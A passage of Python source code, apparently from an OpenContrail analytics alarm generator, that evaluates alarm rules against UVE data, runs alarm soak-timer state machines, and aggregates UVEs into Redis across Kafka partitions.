self._get_uve_parent_fqname(table, uve_name, uve) if uve_parent_fqname != alarm_cfg.get_parent_fq_name_str(): return None or_list = [] for cfg_and_list in alarm_cfg.alarm_rules.or_list: and_list = [] and_list_fail = False for exp in cfg_and_list.and_list: operand1_val = self._get_operand_value(uve, exp.operand1) if isinstance(operand1_val, dict) and \ operand1_val['status'] is False: and_list_fail = True break if exp.operand2.json_value is not None: operand2_val = json.loads(exp.operand2.json_value) is_operand2_json_val = True else: operand2_val = self._get_operand_value(uve, exp.operand2.uve_attribute) if isinstance(operand2_val, dict) and \ operand2_val['status'] is False: and_list_fail = True break is_operand2_json_val = False if isinstance(operand1_val, list) or \ (is_operand2_json_val is False and \ isinstance(operand2_val, list)): match_list = [] # both operand1_val and operand2_val are list if isinstance(operand1_val, list) and \ (is_operand2_json_val is False and \ isinstance(operand2_val, list)): if len(operand1_val) != len(operand2_val): and_list_fail = True break for i in range(0, len(operand1_val)): if self._compare_operand_vals( operand1_val[i]['value'], operand2_val[i]['value'], exp.operation): match_list.append( self._get_alarm_match( uve, exp, operand1_val[i], operand2_val[i], is_operand2_json_val)) # operand1_val is list and operand2_val is not list elif isinstance(operand1_val, list): val2 = operand2_val if not is_operand2_json_val: val2 = operand2_val['value'] for val1 in operand1_val: if self._compare_operand_vals(val1['value'], val2, exp.operation): match_list.append(self._get_alarm_match( uve, exp, val1, operand2_val, is_operand2_json_val)) # operand1_val is not list and operand2_val is list elif is_operand2_json_val is False and \ isinstance(operand2_val, list): for val2 in operand2_val: if self._compare_operand_vals( operand1_val['value'], val2['value'], exp.operation): match_list.append(self._get_alarm_match( uve, exp, operand1_val, val2, is_operand2_json_val)) if match_list: and_list.append(self._get_alarm_condition_match( uve, exp, operand1_val, operand2_val, is_operand2_json_val, match_list)) else: and_list_fail = True break # Neither operand1_val nor operand2_val is a list else: val1 = operand1_val['value'] val2 = operand2_val if not is_operand2_json_val: val2 = operand2_val['value'] if self._compare_operand_vals(val1, val2, exp.operation): and_list.append(self._get_alarm_condition_match( uve, exp, operand1_val, operand2_val, is_operand2_json_val)) else: and_list_fail = True break if not and_list_fail: or_list.append(AlarmAndList(and_list)) if or_list: return or_list return None # end _evaluate_uve_for_alarms class AlarmStateMachine: tab_alarms_timer = {} last_timers_run = None def __init__(self, tab, uv, nm, sandesh, activeTimer, idleTimer, freqCheck_Times, freqCheck_Seconds, freqExceededCheck): self._sandesh = sandesh self._logger = sandesh._logger self.tab = tab self.uv = uv self.nm = nm self.uac = UVEAlarmConfig(ActiveTimer = activeTimer, IdleTimer = \ idleTimer, FreqCheck_Times = freqCheck_Times, FreqCheck_Seconds = freqCheck_Seconds, FreqExceededCheck = freqExceededCheck) self.uas = UVEAlarmOperState(state = UVEAlarmState.Idle, head_timestamp = 0, alarm_timestamp = []) self.uai = None self.activeTimeout = None self.deleteTimeout = None self.idleTimeout = None def get_uai(self, forced=False): """ This functions returns all the alarms which are in Active or Soak_Idle state, all other alarms are not yet asserted or cleared """ if forced: return self.uai if self.uas.state == UVEAlarmState.Active or \ self.uas.state == UVEAlarmState.Soak_Idle: return self.uai return None def get_uac(self): return self.uac def get_uas(self): return self.uas def set_uai(self, uai): self.uai = uai def is_new_alarm_same(self, new_uai): uai2 = copy.deepcopy(self.uai) uai2.timestamp = 0 uai2.token = "" uai2.ack = False if (uai2 == new_uai) and \ self.uas.state == UVEAlarmState.Active: return True return False def _remove_timer_from_list(self, index): AlarmStateMachine.tab_alarms_timer[index].discard((self.tab,\ self.uv, self.nm)) if len(AlarmStateMachine.tab_alarms_timer[index]) == 0: del AlarmStateMachine.tab_alarms_timer[index] def set_alarms(self): """ This function runs the state machine code for setting an alarm If a timer becomes Active, caller should send out updated AlarmUVE """ old_state = self.uas.state curr_time = int(time.time()) if self.uas.state == UVEAlarmState.Soak_Idle: self.uas.state = UVEAlarmState.Active self._remove_timer_from_list(self.idleTimeout) elif self.uas.state == UVEAlarmState.Idle: if self.deleteTimeout and (self.deleteTimeout in \ AlarmStateMachine.tab_alarms_timer): self._remove_timer_from_list(self.deleteTimeout) if self.uac.FreqExceededCheck: # log the timestamp ts = int(self.uai.timestamp/1000000.0) if len(self.uas.alarm_timestamp) <= self.uas.head_timestamp: self.uas.alarm_timestamp.append(ts) else: self.uas.alarm_timestamp[self.uas.head_timestamp] = ts self.uas.head_timestamp = (self.uas.head_timestamp + 1) % \ (self.uac.FreqCheck_Times + 1) if not self.uac.ActiveTimer or self.is_alarm_frequency_exceeded(): self.uas.state = UVEAlarmState.Active else: # put it on the timer self.uas.state = UVEAlarmState.Soak_Active self.activeTimeout = curr_time + self.uac.ActiveTimer timeout_value = self.activeTimeout if not timeout_value in AlarmStateMachine.tab_alarms_timer: AlarmStateMachine.tab_alarms_timer[timeout_value] = set() AlarmStateMachine.tab_alarms_timer[timeout_value].add\ ((self.tab, self.uv, self.nm)) self.send_state_change_trace(old_state, self.uas.state) #end set_alarms def send_state_change_trace(self, os, ns): # No need to send if old and new states are same if os == ns: return state_trace = AlarmStateChangeTrace() state_trace.table = str(self.tab) state_trace.uv = str(self.uv) state_trace.alarm_type = str(self.nm) state_trace.old_state = os state_trace.new_state = ns state_trace.trace_msg(name="AlarmStateChangeTrace", \ sandesh=self._sandesh) def clear_alarms(self): """ This function runs the state machine code for clearing an alarm If a timer becomes Idle with no soaking enabled, caller should delete corresponding alarm and send out updated AlarmUVE """ cur_time = int(time.time()) old_state = self.uas.state delete_alarm = False if self.uas.state == UVEAlarmState.Soak_Active: # stop the active timer and start idle timer self.uas.state = UVEAlarmState.Idle self._remove_timer_from_list(self.activeTimeout) if self.uac.FreqCheck_Seconds: self.deleteTimeout = cur_time + self.uac.FreqCheck_Seconds to_value = self.deleteTimeout if not to_value in AlarmStateMachine.tab_alarms_timer: AlarmStateMachine.tab_alarms_timer[to_value] = set() AlarmStateMachine.tab_alarms_timer[to_value].add\ ((self.tab, self.uv, self.nm)) else: delete_alarm = True elif self.uas.state == UVEAlarmState.Active: if not self.uac.IdleTimer: # Move to Idle state, caller should delete it self.uas.state = UVEAlarmState.Idle if self.uac.FreqCheck_Seconds: self.deleteTimeout = cur_time + self.uac.FreqCheck_Seconds to_value = self.deleteTimeout if not to_value in AlarmStateMachine.tab_alarms_timer: AlarmStateMachine.tab_alarms_timer[to_value] = set() AlarmStateMachine.tab_alarms_timer[to_value].add\ ((self.tab, self.uv, self.nm)) else: delete_alarm = True else: self.uas.state = UVEAlarmState.Soak_Idle self.idleTimeout = cur_time + self.uac.IdleTimer to_value = self.idleTimeout if not to_value in AlarmStateMachine.tab_alarms_timer: AlarmStateMachine.tab_alarms_timer[to_value] = set() AlarmStateMachine.tab_alarms_timer[to_value].add\ ((self.tab, self.uv, self.nm)) self.send_state_change_trace(old_state, self.uas.state) return delete_alarm def is_alarm_frequency_exceeded(self): if not self.uac.FreqExceededCheck or \ not self.uac.FreqCheck_Times or \ not self.uac.FreqCheck_Seconds: return False if len(self.uas.alarm_timestamp) < self.uac.FreqCheck_Times + 1: return False freqCheck_times = self.uac.FreqCheck_Times head = self.uas.head_timestamp start = (head + freqCheck_times + 1) % freqCheck_times end = (head + freqCheck_times) % freqCheck_times if (self.uas.alarm_timestamp[end] - self.uas.alarm_timestamp[start]) \ <= self.uac.FreqCheck_Seconds: self._logger.info("alarm frequency is exceeded, raising alarm") return True return False def run_active_timer(self, curr_time): update_alarm = False timeout_value = None if curr_time >= self.activeTimeout: self.send_state_change_trace(self.uas.state, UVEAlarmState.Active) self.uas.state = UVEAlarmState.Active timeout_value = -1 update_alarm = True return timeout_value, update_alarm def run_idle_timer(self, curr_time): """ This is the handler function for checking timer in Soak_Idle state. State Machine should be deleted by the caller if this timer fires """ idleTimerExpired = 0 update_alarm = False timeout_value = None delete_alarm = False if self.idleTimeout: idleTimerExpired = curr_time - self.idleTimeout if idleTimerExpired >= 0: self.send_state_change_trace(self.uas.state, UVEAlarmState.Idle) self.uas.state = UVEAlarmState.Idle if self.uac.FreqCheck_Seconds: self.deleteTimeout = curr_time + self.uac.FreqCheck_Seconds timeout_value = self.deleteTimeout update_alarm = True else: delete_alarm = True return timeout_value, update_alarm, delete_alarm def run_delete_timer(self, curr_time): """ This is the handler function for checking timer in Idle state. State Machine should be deleted by the caller if this timer fires """ delete_alarm = False idleTimerExpired = 0 if self.deleteTimeout > 0: idleTimerExpired = curr_time - self.deleteTimeout if idleTimerExpired >= 0: delete_alarm = True return delete_alarm def run_uve_soaking_timer(self, curr_time): """ This function goes through the list of alarms which were raised or set to delete but not soaked yet. If an alarm is soaked for corresponding soak_time then it is asserted or deleted """ update_alarm = False delete_alarm = False timeout_value = None if self.uas.state == UVEAlarmState.Soak_Active: timeout_value, update_alarm = self.run_active_timer(curr_time) elif self.uas.state == UVEAlarmState.Soak_Idle: timeout_value, update_alarm, delete_alarm = self.run_idle_timer(curr_time) elif self.uas.state == UVEAlarmState.Idle: delete_alarm = self.run_delete_timer(curr_time) return delete_alarm, update_alarm, timeout_value #end run_uve_soaking_timer def delete_timers(self): if self.uas.state == UVEAlarmState.Idle: if self.deleteTimeout and self.deleteTimeout > 0: self._remove_timer_from_list(self.deleteTimeout) elif self.uas.state == UVEAlarmState.Soak_Active: if self.activeTimeout and self.activeTimeout > 0: self._remove_timer_from_list(self.activeTimeout) elif self.uas.state == UVEAlarmState.Soak_Idle: if self.idleTimeout and self.idleTimeout > 0: self._remove_timer_from_list(self.idleTimeout) @staticmethod def run_timers(curr_time, tab_alarms): inputs = namedtuple('inputs', ['tab', 'uv', 'nm', 'delete_alarm', 'timeout_val', 'old_to']) delete_alarms = [] update_alarms = [] if AlarmStateMachine.last_timers_run is None: AlarmStateMachine.last_timers_run = curr_time for next_timer in range(AlarmStateMachine.last_timers_run, curr_time + 1): if next_timer in AlarmStateMachine.tab_alarms_timer: update_timers = [] for (tab, uv, nm) in AlarmStateMachine.tab_alarms_timer[next_timer]: asm = tab_alarms[tab][uv][nm] delete_alarm, update_alarm, timeout_val = \ asm.run_uve_soaking_timer(next_timer) if delete_alarm: delete_alarms.append((asm.tab, asm.uv, asm.nm)) if update_alarm: update_alarms.append((asm.tab, asm.uv, asm.nm)) update_timers.append(inputs(tab=asm.tab, uv=asm.uv, nm=asm.nm, delete_alarm=delete_alarm, timeout_val=timeout_val, old_to=next_timer)) for timer in update_timers: if timer.timeout_val is not None or timer.delete_alarm: AlarmStateMachine.update_tab_alarms_timer(timer.tab, timer.uv, timer.nm, timer.old_to, timer.timeout_val, tab_alarms) AlarmStateMachine.last_timers_run = curr_time + 1 return delete_alarms, update_alarms @staticmethod def update_tab_alarms_timer(tab, uv, nm, curr_index, timeout_val, tab_alarms): del_timers = [] if curr_index is not None and curr_index > 0: timers = AlarmStateMachine.tab_alarms_timer[curr_index] if (tab, uv, nm) in timers: asm = tab_alarms[tab][uv][nm] timers.discard((tab, uv, nm)) if len(timers) == 0: del_timers.append(curr_index) for timeout in del_timers: del AlarmStateMachine.tab_alarms_timer[timeout] if timeout_val >= 0: if not timeout_val in AlarmStateMachine.tab_alarms_timer: AlarmStateMachine.tab_alarms_timer[timeout_val] = set() if (tab, uv, nm) in AlarmStateMachine.tab_alarms_timer\ [timeout_val]: self._logger.error("Timer error for (%s,%s,%s)" % \ (tab, uv, nm)) raise SystemExit AlarmStateMachine.tab_alarms_timer[timeout_val].add\ ((asm.tab, asm.uv, asm.nm)) class Controller(object): @staticmethod def token(sandesh, timestamp): token = {'host_ip': sandesh.host_ip(), 'http_port': sandesh._http_server.get_port(), 'timestamp': timestamp} return base64.b64encode(json.dumps(token)) def fail_cb(self, manager, entrypoint, exception): self._sandesh._logger.info("Load failed for %s with exception %s" % \ (str(entrypoint),str(exception))) def __init__(self, conf, test_logger=None): self._conf = conf module = Module.ALARM_GENERATOR self._moduleid = ModuleNames[module] node_type = Module2NodeType[module] self._node_type_name = NodeTypeNames[node_type] self.table = "ObjectCollectorInfo" self._hostname = socket.gethostname() self._instance_id = self._conf.worker_id() self.disc = None self._libpart_name = self._conf.host_ip() + ":" + self._instance_id self._libpart = None self._partset = set() if self._conf.discovery()['server']: self._max_out_rows = 20 self.disc = client.DiscoveryClient( self._conf.discovery()['server'], self._conf.discovery()['port'], ModuleNames[Module.ALARM_GENERATOR], '%s-%s' % (self._hostname, self._instance_id)) is_collector = True if test_logger is not None: is_collector = False self._sandesh = Sandesh() # Reset the sandesh send rate limit value if self._conf.sandesh_send_rate_limit() is not None: SandeshSystem.set_sandesh_send_rate_limit( \ self._conf.sandesh_send_rate_limit()) self._sandesh.init_generator(self._moduleid, self._hostname, self._node_type_name, self._instance_id, self._conf.collectors(), self._node_type_name, self._conf.http_port(), ['opserver.sandesh', 'sandesh'], host_ip=self._conf.host_ip(), discovery_client=self.disc, connect_to_collector = is_collector, alarm_ack_callback=self.alarm_ack_callback) if test_logger is not None: self._logger = test_logger else: self._sandesh.set_logging_params( enable_local_log=self._conf.log_local(), category=self._conf.log_category(), level=self._conf.log_level(), file=self._conf.log_file(), enable_syslog=self._conf.use_syslog(), syslog_facility=self._conf.syslog_facility()) self._logger = self._sandesh._logger # Trace buffer list self.trace_buf = [ {'name':'DiscoveryMsg', 'size':1000}, {'name':'AlarmStateChangeTrace', 'size':1000}, {'name':'UVEQTrace', 'size':10000} ] # Create trace buffers for buf in self.trace_buf: self._sandesh.trace_buffer_create(name=buf['name'], size=buf['size']) tables = set() mgrlist = extension.ExtensionManager('contrail.analytics.alarms') for elem in mgrlist: tables.add(elem.name) self._logger.error('Found extenstions for %s' % str(tables)) self.mgrs = {} self.tab_alarms = {} self.ptab_info = {} self.tab_perf = {} self.tab_perf_prev = {} for table in tables: self.mgrs[table] = hook.HookManager( namespace='contrail.analytics.alarms', name=table, invoke_on_load=True, invoke_args=(), on_load_failure_callback=self.fail_cb ) for extn in self.mgrs[table][table]: self._logger.info('Loaded extensions for %s: %s,%s doc %s' % \ (table, extn.name, extn.entry_point_target, extn.obj.__doc__)) self.tab_alarms[table] = {} self.tab_perf[table] = AGTabStats() ConnectionState.init(self._sandesh, self._hostname, self._moduleid, self._instance_id, staticmethod(ConnectionState.get_process_state_cb), NodeStatusUVE, NodeStatus, self.table) self._us = UVEServer(None, self._logger, self._conf.redis_password()) if not self.disc: self._max_out_rows = 2 # If there is no discovery service, use fixed redis_uve list redis_uve_list = [] try: for redis_uve in self._conf.redis_uve_list(): redis_ip_port = redis_uve.split(':') redis_elem = (redis_ip_port[0], int(redis_ip_port[1]),0) redis_uve_list.append(redis_elem) except Exception as e: print('Failed to parse redis_uve_list: %s' % e) else: self._us.update_redis_uve_list(redis_uve_list) # If there is no discovery service, use fixed alarmgen list self._libpart = self.start_libpart(self._conf.alarmgen_list()) self._workers = {} self._uvestats = {} self._uveq = {} self._uveqf = {} self._alarm_config_change_map = {} # Create config handler to read/update alarm config rabbitmq_params = self._conf.rabbitmq_params() self._config_handler = AlarmGenConfigHandler(self._moduleid, self._instance_id, self.config_log, self.disc, self._conf.keystone_params(), rabbitmq_params, self.mgrs, self.alarm_config_change_callback) if rabbitmq_params['servers'] and self.disc: self._config_handler.start() else: self._logger.error('Rabbitmq server and/or Discovery server ' 'not configured') PartitionOwnershipReq.handle_request = self.handle_PartitionOwnershipReq PartitionStatusReq.handle_request = self.handle_PartitionStatusReq UVETableAlarmReq.handle_request = self.handle_UVETableAlarmReq UVETableInfoReq.handle_request = self.handle_UVETableInfoReq UVETablePerfReq.handle_request = self.handle_UVETablePerfReq def config_log(self, msg, level): self._sandesh.logger().log( SandeshLogger.get_py_logger_level(level), msg) # end config_log def libpart_cb(self, part_list): agpi = AlarmgenPartionInfo() agpi.instance = self._instance_id agpi.partitions = part_list agp = AlarmgenPartition() agp.name = self._hostname agp.inst_parts = [agpi] agp_trace = AlarmgenPartitionTrace(data=agp, sandesh=self._sandesh) agp_trace.send(sandesh=self._sandesh) newset = set(part_list) oldset = self._partset self._partset = newset self._logger.error('Partition List : new %s old %s' % \ (str(newset),str(oldset))) for addpart in (newset-oldset): self._logger.error('Partition Add : %s' % addpart) self.partition_change(addpart, True) for delpart in (oldset-newset): self._logger.error('Partition Del : %s' % delpart) if not self.partition_change(delpart, False): self._logger.error('Partition Del : %s failed!' % delpart) raise SystemExit self._logger.error('Partition List done : new %s old %s' % \ (str(newset),str(oldset))) def start_libpart(self, ag_list): if not self._conf.zk_list(): self._logger.error('Could not import libpartition: No zookeeper') return None if not ag_list: self._logger.error('Could not import libpartition: No alarmgen list') return None try: self._logger.error('Starting PC') agpi = AlarmgenPartionInfo() agpi.instance = self._instance_id agpi.partitions = [] agp = AlarmgenPartition() agp.name = self._hostname agp.inst_parts = [agpi] agp_trace = AlarmgenPartitionTrace(data=agp, sandesh=self._sandesh) agp_trace.send(sandesh=self._sandesh) pc = PartitionClient(self._conf.kafka_prefix() + "-alarmgen", self._libpart_name, ag_list, self._conf.partitions(), self.libpart_cb, ','.join(self._conf.zk_list()), self._logger) self._logger.error('Started PC %s' % self._conf.kafka_prefix() + "-alarmgen") return pc except Exception as e: self._logger.error('Could not import libpartition: %s' % str(e)) return None def handle_uve_notifq(self, part, uves): """ uves : This is a dict of UVEs that have changed, as per the following scheme: <UVE-Key> : None # Any of the types may have changed # Used during stop_partition and GenDelete <UVE-Key> : { <Struct>: {} } # The given struct may have changed <UVE-Key> : { <Struct>: None } # The given struct may have gone Our treatment of the 2nd and 3rd case above is the same """ uveq_trace = UVEQTrace() uveq_trace.uves = uves.keys() uveq_trace.part = part if part not in self._uveq: self._uveq[part] = {} self._logger.error('Created uveQ for part %s' % str(part)) uveq_trace.oper = "create" else: uveq_trace.oper = "update" uveq_trace.trace_msg(name="UVEQTrace",\ sandesh=self._sandesh) for uv,types in uves.iteritems(): if types is None: self._uveq[part][uv] = None else: if uv in self._uveq[part]: if self._uveq[part][uv] is not None: for kk in types.keys(): self._uveq[part][uv][kk] = {} else: self._uveq[part][uv] = {} for kk in types.keys(): self._uveq[part][uv][kk] = {} def handle_resource_check(self, part, current_inst, msgs): """ This function compares the set of synced redis instances against the set now being reported by UVEServer It returns : - The updated set of redis instances - A set of collectors to be removed - A dict with the collector to be added, with the contents """ us_redis_inst = self._us.redis_instances() disc_instances = copy.deepcopy(us_redis_inst) r_added = disc_instances - current_inst r_deleted = current_inst - disc_instances coll_delete = set() for r_inst in r_deleted: ipaddr = r_inst[0] port = r_inst[1] coll_delete.add(ipaddr + ":" + str(port)) chg_res = {} for r_inst in r_added: coll, res = self._us.get_part(part, r_inst) chg_res[coll] = res return disc_instances, coll_delete, chg_res def reconnect_agg_uve(self, lredis): self._logger.error("Connected to Redis for Agg") lredis.set(self._moduleid+':'+self._instance_id, True) for pp in self._workers.keys(): self._workers[pp].reset_acq_time() self._workers[pp].kill(\ RuntimeError('UVE Proc failed'), block=False) self.clear_agg_uve(lredis, self._instance_id, pp, self._workers[pp].acq_time()) self.stop_uve_partition(pp) for part in self._uveq.keys(): self._logger.info("Clearing part %d uveQ : %s" % \ (part,str(self._uveq[part].keys()))) uveq_trace = UVEQTrace() uveq_trace.uves = self._uveq[part].keys() uveq_trace.part = part uveq_trace.oper = "clear" uveq_trace.trace_msg(name="UVEQTrace",\ sandesh=self._sandesh) del self._uveq[part] def clear_agg_uve(self, redish, inst, part, acq_time): self._logger.error("Agg %s reset part %d, acq %d" % \ (inst, part, acq_time)) ppe2 = redish.pipeline() ppe2.hdel("AGPARTS:%s" % inst, part) ppe2.smembers("AGPARTKEYS:%s:%d" % (inst, part)) pperes2 = ppe2.execute() ppe3 = redish.pipeline() # Remove all contents for this AG-Partition for elem in pperes2[-1]: ppe3.delete("AGPARTVALUES:%s:%d:%s" % (inst, part, elem)) ppe3.delete("AGPARTKEYS:%s:%d" % (inst, part)) ppe3.hset("AGPARTS:%s" % inst, part, acq_time) pperes3 = ppe3.execute() def send_agg_uve(self, redish, inst, part, acq_time, rows): """ This function writes aggregated UVEs to redis Each row has a UVE key, one of it's structs type names and the structs value If type is "None", it means that the UVE is being removed If value is none, it mean that struct of the UVE is being removed The key and typename information is also published on a redis channel """ if not redish: self._logger.error("No redis handle") raise SystemExit old_acq_time = redish.hget("AGPARTS:%s" % inst, part) if old_acq_time is None: self._logger.error("Agg %s part %d new" % (inst, part)) redish.hset("AGPARTS:%s" % inst, part, acq_time) else: # Is there stale information for this partition? if int(old_acq_time) != acq_time: self._logger.error("Agg %s stale info part %d, acqs %d,%d" % \ (inst, part, int(old_acq_time), acq_time)) self.clear_agg_uve(redish, inst, part, acq_time) pub_list = [] ppe = redish.pipeline() check_keys = set() for row in rows: vjson = json.dumps(row.val) typ = row.typ key = row.key pub_list.append({"key":key,"type":typ}) if typ is None: self._logger.debug("Agg remove part %d, key %s" % (part,key)) # The entire contents of the UVE should be removed ppe.srem("AGPARTKEYS:%s:%d" % (inst, part), key) ppe.delete("AGPARTVALUES:%s:%d:%s" % (inst, part, key)) else: if row.val is None: self._logger.debug("Agg remove part %d, key %s, type %s" % (part,key,typ)) # Remove the given struct from the UVE ppe.hdel("AGPARTVALUES:%s:%d:%s" % (inst, part, key), typ) check_keys.add(key) else: self._logger.debug("Agg update part %d, key %s, type %s" % (part,key,typ)) ppe.sadd("AGPARTKEYS:%s:%d" % (inst, part), key) ppe.hset("AGPARTVALUES:%s:%d:%s" % (inst, part, key), typ, vjson) ppe.execute() # Find the keys that have no content (all structs have been deleted) ppe4 = redish.pipeline() check_keys_list = list(check_keys) for kk in check_keys_list: ppe4.exists("AGPARTVALUES:%s:%d:%s" % (inst, part, kk)) pperes4 = ppe4.execute() retry = False # From the index, removes keys for which there are now no contents ppe5 = redish.pipeline() idx = 0 for res in pperes4: if not res: self._logger.error("Agg unexpected key %s from inst:part %s:%d" % \ (check_keys_list[idx], inst, part)) ppe5.srem("AGPARTKEYS:%s:%d" % (inst, part), check_keys_list[idx]) # TODO: alarmgen should have already figured out if all structs of # the UVE are gone, and should have sent a UVE delete # We should not need to figure this out again retry = True idx += 1 ppe5.execute() redish.publish('AGPARTPUB:%s:%d' % (inst, part), json.dumps(pub_list)) if retry: self._logger.error("Agg unexpected rows %s" % str(rows)) raise SystemExit def send_alarm_update(self, tab, uk): ustruct = None alm_copy = [] for nm, asm in self.tab_alarms[tab][uk].iteritems(): uai = asm.get_uai() if uai: alm_copy.append(copy.deepcopy(uai)) if len(alm_copy) == 0: ustruct = UVEAlarms(name = str(uk).split(':',1)[1], deleted = True) self._logger.info('deleting alarm:') else: ustruct = UVEAlarms(name = str(uk).split(':',1)[1], alarms = alm_copy) alarm_msg = AlarmTrace(data=ustruct, table=tab, \ sandesh=self._sandesh) alarm_msg.send(sandesh=self._sandesh) self._logger.info('raising alarm %s' % (alarm_msg.log())) def run_alarm_timers(self, curr_time): delete_alarms, update_alarms = AlarmStateMachine.run_timers\ (curr_time, self.tab_alarms) for alarm in delete_alarms: del self.tab_alarms[alarm[0]][alarm[1]][alarm[2]] self.send_alarm_update(alarm[0], alarm[1]) for alarm in update_alarms: self.send_alarm_update(alarm[0], alarm[1]) def run_uve_processing(self): """ This function runs in its own gevent, and provides state compression for UVEs. Kafka worker (PartitionHandler) threads detect which UVE have changed and accumulate them onto a set. When this gevent runs, it processes all UVEs of the set. Even if this gevent cannot run for a while, the set should not grow in an unbounded manner (like a queue can) """ lredis = None oldworkerset = None while True: workerset = {} for part in self._workers.keys(): if self._workers[part]._up: workerset[part] = self._workers[part].acq_time() if workerset != oldworkerset: if self.disc: data = { 'ip-address': self._conf.host_ip(), 'instance-id': self._instance_id, 'redis-port': str(self._conf.redis_server_port()), 'partitions': json.dumps(workerset) } self._logger.error("Disc Publish to %s : %s" % (str(self._conf.discovery()), str(data))) self.disc.publish(ALARM_GENERATOR_SERVICE_NAME, data) oldworkerset = copy.deepcopy(workerset) for part in self._uveqf.keys(): self._logger.error("Stop UVE processing for %d:%d" % \ (part, self._uveqf[part])) self.stop_uve_partition(part) del self._uveqf[part] if part in self._uveq: uveq_trace = UVEQTrace() uveq_trace.uves = self._uveq[part].keys() uveq_trace.part = part uveq_trace.oper = "stop" uveq_trace.trace_msg(name="UVEQTrace",\ sandesh=self._sandesh) self._logger.info("Stopping part %d uveQ : %s" % \ (part,str(self._uveq[part].keys()))) del self._uveq[part] prev = time.time() try: if lredis is None: lredis = redis.StrictRedis( host="127.0.0.1", port=self._conf.redis_server_port(), password=self._conf.redis_password(), db=7) self.reconnect_agg_uve(lredis) ConnectionState.update(conn_type = ConnectionType.REDIS_UVE, name = 'AggregateRedis', status = ConnectionStatus.UP) else: if not lredis.exists(self._moduleid+':'+self._instance_id): self._logger.error('Identified redis restart') self.reconnect_agg_uve(lredis) gevs = {} pendingset = {} kafka_topic_down = False for part in self._uveq.keys(): if not len(self._uveq[part]): continue self._logger.info("UVE Process for %d" % part) kafka_topic_down |= self._workers[part].failed() # Allow the partition handlers to queue new UVEs without # interfering with the work of processing the current UVEs # Process no more than 200 keys at a time pendingset[part] = {} icount = 0 while (len(self._uveq[part]) > 0) and icount < 200: kp,vp = self._uveq[part].popitem() pendingset[part][kp] = vp icount += 1 self._logger.info("UVE Process for %d : %d, %d remain" % \ (part, len(pendingset[part]), len(self._uveq[part]))) gevs[part] = gevent.spawn(self.handle_uve_notif,part,\ pendingset[part]) if kafka_topic_down: ConnectionState.update(conn_type = ConnectionType.KAFKA_PUB, name = 'KafkaTopic', status = ConnectionStatus.DOWN) else: ConnectionState.update(conn_type = ConnectionType.KAFKA_PUB, name = 'KafkaTopic', status = ConnectionStatus.UP) if len(gevs): gevent.joinall(gevs.values()) for part in gevs.keys(): # If UVE processing failed, requeue the working set try: outp = gevs[part].get() except Exception as ex: template = "Exception {0} in notif worker. Arguments:\n{1!r}" messag = template.format(type(ex).__name__, ex.args) self._logger.error("%s : traceback %s" % \ (messag, traceback.format_exc())) outp = None if outp is None: self._logger.error("UVE Process failed for %d" % part) self.handle_uve_notifq(part, pendingset[part]) elif not part in self._workers: self._logger.error( "Part %d is gone, cannot process UVEs" % part) else: acq_time = self._workers[part].acq_time() if len(outp): rows = [] for ku,vu in outp.iteritems(): if vu is None: # This message has no type! # Its used to indicate a delete of the entire UVE rows.append(OutputRow(key=ku, typ=None, val=None)) if len(rows) >= self._max_out_rows: self.send_agg_uve(lredis, self._instance_id, part, acq_time, rows) rows[:] = [] continue for kt,vt in vu.iteritems(): rows.append(OutputRow(key=ku, typ=kt, val=vt)) if len(rows) >= self._max_out_rows: self.send_agg_uve(lredis, self._instance_id, part, acq_time, rows) rows[:] = [] # Flush all remaining rows if len(rows): self.send_agg_uve(lredis, self._instance_id, part, acq_time, rows) rows[:] = [] # If there are alarm config changes, then start a gevent per # partition to process the alarm config changes if self._alarm_config_change_map: alarm_config_change_map = copy.deepcopy( self._alarm_config_change_map) self._alarm_config_change_map = {} alarm_workers = {} for partition in self._workers.keys(): alarm_workers[partition] = gevent.spawn( self.alarm_config_change_worker, partition, alarm_config_change_map) if alarm_workers: gevent.joinall(alarm_workers.values()) except Exception as ex: template = "Exception {0} in uve proc. Arguments:\n{1!r}" messag = template.format(type(ex).__name__, ex.args) self._logger.error("%s : traceback %s" % \ (messag, traceback.format_exc())) lredis = None ConnectionState.update(conn_type = ConnectionType.REDIS_UVE, name = 'AggregateRedis', status = ConnectionStatus.DOWN) gevent.sleep(1) curr = time.time() try: self.run_alarm_timers(int(curr)) except Exception as ex: template = "Exception {0} in timer proc. Arguments:\n{1!r}" messag = template.format(type(ex).__name__, ex.args) self._logger.error("%s : traceback %s" % \ (messag, traceback.format_exc())) raise SystemExit if (curr - prev) < 0.5: gevent.sleep(0.5 - (curr - prev)) else: self._logger.info("UVE Process saturated") gevent.sleep(0) def examine_uve_for_alarms(self, uve_key, uve): table = uve_key.split(':', 1)[0] alarm_cfg = self._config_handler.alarm_config_db() prevt = UTCTimestampUsec() aproc = AlarmProcessor(self._logger) # Process all alarms configured for this uve-type for alarm_fqname, alarm_obj in \ alarm_cfg.get(table, {}).iteritems(): aproc.process_alarms(alarm_fqname, alarm_obj, uve_key, uve) # Process all alarms configured for this uve-key for alarm_fqname, alarm_obj in \ alarm_cfg.get(uve_key, {}).iteritems(): aproc.process_alarms(alarm_fqname, alarm_obj, uve_key, uve) new_uve_alarms = aproc.uve_alarms self.tab_perf[table].record_call(UTCTimestampUsec() - prevt) del_types = [] if not self.tab_alarms.has_key(table): self.tab_alarms[table] = {} if self.tab_alarms[table].has_key(uve_key): for nm, asm in self.tab_alarms[table][uve_key].iteritems(): # This type was present earlier, but is now gone if not new_uve_alarms.has_key(nm): del_types.append(nm) else: # This type has no new information if asm.is_new_alarm_same(new_uve_alarms[nm]): del new_uve_alarms[nm] if len(del_types) != 0 or len(new_uve_alarms) != 0: self._logger.debug("Alarm[%s] Deleted %s" % \ (table, str(del_types))) self._logger.debug("Alarm[%s] Updated %s" % \ (table, str(new_uve_alarms))) # These alarm types are new or updated for nm, uai2 in new_uve_alarms.iteritems(): uai = copy.deepcopy(uai2) uai.timestamp = UTCTimestampUsec() uai.token = Controller.token(self._sandesh, uai.timestamp) if not self.tab_alarms[table].has_key(uve_key): self.tab_alarms[table][uve_key] = {} if not nm in self.tab_alarms[table][uve_key]: self.tab_alarms[table][uve_key][nm] = AlarmStateMachine( tab=table, uv=uve_key, nm=nm, sandesh=self._sandesh, activeTimer=aproc.ActiveTimer[uve_key][nm], idleTimer=aproc.IdleTimer[uve_key][nm], freqCheck_Times=aproc.FreqCheck_Times[uve_key][nm], freqCheck_Seconds= \ aproc.FreqCheck_Seconds[uve_key][nm], freqExceededCheck= \ aproc.FreqExceededCheck[uve_key][nm]) asm = self.tab_alarms[table][uve_key][nm] asm.set_uai(uai) # go through alarm set statemachine code asm.set_alarms() # These alarm types are now gone for dnm in del_types: if dnm in 